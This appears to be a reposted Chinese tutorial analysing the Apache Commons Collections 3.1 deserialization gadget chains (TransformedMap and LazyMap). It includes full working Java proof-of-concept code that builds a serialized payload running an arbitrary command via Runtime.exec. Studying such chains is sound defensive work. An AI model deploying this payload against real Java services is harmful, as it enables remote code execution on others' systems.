更多全球网络安全资讯尽在邑安全

www.eansec.com

漏洞点

漏洞点存在于 commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/InvokerTransformer.java 。 在 InvokerTransformer 类中使用了反射,且反射参数均可控,所以我们可以利用这处代码调用任意类的任意方法。

接下来,我们需要找到一处可以循环调用 transform 方法的地方。全局搜索 .transform( 后发现, commons-collections-3.1-src.jar!/org/apache/commons/collections/functors/ChainedTransformer.java 类的 transform 方法刚好符合条件。

在 ChainedTransformer 类的 transform 方法中,对 iTransformers 数组进行了循环遍历,并调用其元素的 transform 方法。

可能有的人会有疑问,为什么要找一处循环调用 transform 方法的地方?如果你懂得如何使用 Java反射 来执行 系统命令 ,也许就能明白这么做的原因。下面贴出了 Demo 代码。我们需要利用循环,构造出下面的链式调用。

// ExecuteCMD.javaimport java.io.IOException;public class ExecuteCMD {public static void main(String [] args) throws IOException{// 普通命令执行Runtime.getRuntime().exec(new String [] { "deepin-calculator" });// 通过反射执行命令try{Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),new String [] { "deepin-calculator" });} catch(Exception e) {e.printStackTrace();}}}

此时,我们就可以将 ChainedTransformer 的 Transformer 属性按照如下构造:

Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" }) };

这里 transformers 数组的第一个,我们选用的是 ConstantTransformer 类。因为该类执行 transform 方法后,会返回一个构造对象时传入的参数,在这里就是 Runtime.class 。

在构造好这些后,我们现在需要寻找哪里可以调用 ChainedTransformer.transform() 方法。网络上公开的主要是通过 TransformedMap 和 LazyMap 这两个利用链,接下来我们来逐个分析。

TransformedMap利用链

先来看 TransformedMap 类,该类中有3个方法均调用了 transform() (对应下图126、141、169行代码),分别是 transformKey()、transformValue()、checkSetValue() ,且类名均可控(对应下图83-84行代码)。但是这3个方法都被 protected 修饰,所以看看哪些方法调用了它们。

我们可以看到公共方法 put()、putAll() 调用了 transformKey()、transformValue() ,而 checkSetValue() 却没有看到在哪调用。不过我们可以从注释中看出些端倪。注释说当调用该类的 setValue方法时,会自动调用 checkSetValue 方法。该类 setValue 方法继承自父类 AbstractInputCheckedMapDecorator ,我们看其父类代码。

AbstractInputCheckedMapDecorator 的根父类实际就是 Map ,所以我们现在只需要找到一处 readObject 方法,只要它调用了 Map.setValue() 方法,即可完成整个反序列化链。下面,我们来看满足这个条件的 AnnotationInvocationHandler 类,该类属于 JDK1.7 自带的,代码如下。

我们可以在 AnnotationInvocationHandler 类的 readObject 方法中看到 setValue 方法的调用。而想要成功执行到此处,我们需要先绕过上图360行的if条件。其中需要关注的就是 var7、var8 两个变量的值。实际上, var7 的值只与 this.type 有关; var8 只与 this.memberValues 有关,所以我们转而关注构造函数。在构造函数中,程序要求我们传入的第一个参数必须继承 java.lang.annotation.Annotation 接口。而在 Java 中,所有的注解实际上都继承自该接口。所以我们第一个变量传入一个JDK自带注解,这样第二个 Map类型的变量也可以正常赋值。

现在来看看如何去构造这两个 this.type、this.memberValues 这两个变量。实际上,并不是将 this.type设置成任意注解类都能执行 POC 。网络上很多分析文章将 this.type 设置成 java.lang.annotation.Retention.class ,但是没有说为什么这个类可以。而在调试代码的过程中,我发现这个问题和注解类中有无定义方法有关。只有定义了方法的注解才能触发 POC 。例如 java.lang.annotation.Retention、java.lang.annotation.Target 都可以触发,而 java.lang.annotation.Documented 则不行。而且我们 POC 中, innermap 必须有一个键名与注解类方法名一样的元素(如下图箭头指向)。而注解类方法返回类型将是 var7 的值。

具体怎么影响,调试下 /opt/java/jdk1.7.0_80/jre/lib/rt.jar!/sun/reflect/annotation/AnnotationType.class:AnnotationType() 就知道了,这里不再赘述。

最终构造 TransformedMap 利用链如下:

// PopChain1.javaimport java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class Demo {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "mochazz");Map outmap = TransformedMap.decorate(innermap, null, transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象Object instance = ctor.newInstance(Retention.class, outmap);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}

LazyMap利用链

在分析 LazyMap 这条利用链之前,我们得先了解 Java 中代理模式的概念。

代理实际上是:在不修改原函数代码的基础上,为其添加额外的功能代码,有点像 Python 中的装饰器。下面分别来看静态代理与动态代理的示例。

静态代理示例:

// StaticProxyDemo.javapublic class StaticProxyDemo {public static void main(String[] args){Animals catProxy = new CatProxy();catProxy.say();}}interface Animals{void say();}class  Cat implements Animals{public void say() {System.out.println("I'm a cat!");}}class CatProxy implements Animals  {private Cat cat = new Cat();public void say() {System.out.println("Before invoke say!");cat.say();System.out.println("After invoke say!");}}/*    执行结果:        Before invoke say!        I'm a cat!        After invoke say! */

动态代理示例:

import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;public class DynamicProxyDemo {public static void main(String[] args){Animals cat = new Cat();InvocationHandler handler = (InvocationHandler) new CatProxyHandle(cat);Animals catProxy = (Animals) Proxy.newProxyInstance(Cat.class.getClassLoader(), Cat.class.getInterfaces(), handler);catProxy.say();}}interface Animals{void say();}class  Cat implements Animals{public void say() {System.out.println("I'm a cat!");}}class CatProxyHandle implements InvocationHandler {private Object obj;public CatProxyHandle(Object obj) {this.obj = obj;}public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {System.out.println("Before invoke " + method.getName());method.invoke(obj, args);System.out.println("After invoke " + method.getName());return null;}}/*    执行结果:        Before invoke say        I'm a cat!        After invoke say */

通过上面动态代理的示例,我们可以清晰看到,程序会调用实现了代理类(必须实现 InvocationHandler )的 invoke 方法,然后再通过反射调用被代理类的方法。

在了解了上面这些概念之后,我们就可以直接来看 LazyMap 这个利用链。首先,我们在 LazyMap:get() 中发现调用了 transform 方法,且前面的 factory 可控,所以我们继续搜下哪里调用了这个 get 方法。

在 AnnotationInvocationHandler 类的 invoke 方法中,我们可以看到有 get() 方法调用,且 this.memberValues 可控。通过动态代理,我们就可以触发这个 invoke 方法。

最终构造 LazyMap 利用链如下:

// PopChain2.javaimport java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;public class PopChain2 {public static Object generatePayload() throws Exception {Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "deepin-calculator" })};Transformer transformerChain = new ChainedTransformer(transformers);Map innermap = new HashMap();innermap.put("value", "mochazz");Map outmap = LazyMap.decorate(innermap,transformerChain);//通过反射获得AnnotationInvocationHandler类对象Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//通过反射获得cls的构造函数Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);//这里需要设置Accessible为true,否则序列化失败ctor.setAccessible(true);//通过newInstance()方法实例化对象InvocationHandler handler = (InvocationHandler)ctor.newInstance(Retention.class, outmap);Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),handler);Object instance = ctor.newInstance(Retention.class, mapProxy);return instance;}public static void main(String[] args) throws Exception {payload2File(generatePayload(),"obj");payloadTest("obj");}public static void payload2File(Object instance, String file)throws Exception {//将构造好的payload序列化后写入文件中ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(file));out.writeObject(instance);out.flush();out.close();}public static void payloadTest(String file) throws Exception {//读取写入的payload,并进行反序列化ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));in.readObject();in.close();}}

转自先知社区

欢迎收藏并分享朋友圈,让五邑人网络更安全

欢迎扫描关注我们,及时了解最新安全动态、学习最潮流的安全姿势!

推荐文章

1

新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现

2

重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP) 

java object转map_Java反序列化学习之CommonsCollections1相关推荐

  1. java object转map_Java 面试题:百度前 200 页都在这里

    技术博文,及时送达 作者 | 唐尤华 来源 | github.com/tangyouhua 基本概念 操作系统中 heap 和 stack 的区别 什么是基于注解的切面实现 什么是 对象/关系 映射集 ...

  2. Java开发面试高频考点学习笔记(每日更新)

    Java开发面试高频考点学习笔记(每日更新) 1.深拷贝和浅拷贝 2.接口和抽象类的区别 3.java的内存是怎么分配的 4.java中的泛型是什么?类型擦除是什么? 5.Java中的反射是什么 6. ...

  3. Tomcat-Session反序列化学习

    Tomcat-Session反序列化学习 简介 CVE-2020-9484. 要求: tomcat必须启用session持久化功能FileStore tomcat/lib或者WEB-INF/lib目录 ...

  4. JAVA开发手册华山版 - 学习笔记

    JAVA开发手册华山版 关于Java开发手册 JAVA开发手册(华山版)下载 一.编程规约 1. 编程风格 2. 常量定义 3. 代码格式 4. OOP规约 5. 集合处理 6. 并发处理 7. 控制 ...

  5. Java程序猿的JavaScript学习笔记(12——jQuery-扩展选择器)

    计划按例如以下顺序完毕这篇笔记: Java程序猿的JavaScript学习笔记(1--理念) Java程序猿的JavaScript学习笔记(2--属性复制和继承) Java程序猿的JavaScript ...

  6. 成为Java高手的25个学习要点

    成为Java高手的25个学习要点 想要精通Java,成为Java高手,需要不断的学习和积累.本文给出了Java学习过程中需要注意的25个学习目标,希望可以给您带来帮助. AD: 2013大数据全球技术 ...

  7. 代码即财富之我学Java对象序列化与反序列化(2)

    2019独角兽企业重金招聘Python工程师标准>>> 我们在程序创建的Java对象都是存在于JVM内存中的,也就是Java对象的生命周期一定不会长于JVM,所以如何以一种持久化的方 ...

  8. Java 中序列化与反序列化

    一. 序列化和反序列化概念 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的过程.将程序中的对象,放入文 ...

  9. 张季跃201771010139《面向对象程序设计(java)》第一周学习总结(改)

    张季跃201771010139<面向对象程序设计(java)>第一周学习总结 第一部分:课程准备部分 填写课程学习 平台注册账号, 平台名称 注册账号 博客园:www.cnblogs.co ...

最新文章

  1. 万万没想到! logger.info() 还能导致线上故障?
  2. 深入理解Spark 2.1 Core (六):Standalone模式运行的原理与源码分析
  3. linux下开发问题汇总
  4. 判断滚动条是否到达页面的尾部
  5. JS - 按钮倒计时
  6. testng.xml文件配置
  7. Java 获取向量中的最大值
  8. 经典面试题(6):NaN 是什么?如何测试一个值是否等于 NaN ?
  9. dragon编译linux,在Linux系统中安装Alibaba Dragonwell8的方法
  10. 大数据之-Hadoop3.x_MapReduce_序列化案例FlowBean---大数据之hadoop3.x工作笔记0097
  11. mysql 自定义错误码,您可以自定义mysql_error重复错误消息吗?
  12. 将数所有奇数移到数组前java_全国2014年4月自考Java语言程序设计(一)真题
  13. 我的书《编写高质量代码—Web前端开发修炼之道》面市了,请大家多多支持
  14. 功能测试项目——酒店管理系统
  15. 什么是TPS、QPS?
  16. mybatisplus-代码级别的自动生成创建丶更新时间
  17. 【Oracle】userenv()函数介绍分析
  18. Angular动态绑定HTML文本
  19. R语言实现SOM(自组织映射)模型(三个函数包+代码)
  20. Android从启动到程序运行发生的事情

热门文章

  1. Eclipse Validating减少不必要的验证
  2. RxLifecycle详细解析
  3. (转)OOP(面向对象编程)的几大原则
  4. Android控件— — —ImageView
  5. [C]Ubuntu 13.04实现NVIDIA双显卡切换
  6. 艾伟_转载:WPF/Silverlight陷阱:XAML自定义控件的嵌套内容无法通过名称访问
  7. 如何做好工程监理控制工作?
  8. 【Asp.net】Session对象
  9. android默认获取敏感权限
  10. InputStream 转 String